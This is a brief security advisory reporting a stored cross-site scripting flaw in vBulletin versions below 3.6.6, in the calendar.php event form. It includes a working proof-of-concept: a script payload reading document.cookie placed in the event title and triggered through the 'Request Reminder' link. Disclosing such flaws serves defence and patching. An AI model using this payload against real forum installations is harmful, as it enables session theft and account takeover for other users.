vendor site:https://www.vbulletin.com/
product:vbulletin < 3.6.6
bug: permanent xss
affected file: calendar.php
risk : medium

xss permanent ( must be loggued ) PoC :
https://127.0.0.1/vbulletin/calendar.php?do=add&type=single&c=1 
--> fill up the title field with : 
</title><script>alert(document.cookie)</script> 

Event Date : ( some far away date ... like 2010 for exemple )
message : whatever .

when it's done look at the :"Request Reminder for this Event" link.
(it looks like this: https://127.0.0.1/vbulletin/calendar.php?do=addreminder&e=2)
if you click,your XSS will be executed .


reminder:
permanent xss are dangerous ...
see : https://en.wikipedia.org/wiki/Cross_site_scripting

regards laurent gaffié 
contact: laurent.gaffie[at]g/**/m/**/a/**/i/**/l.com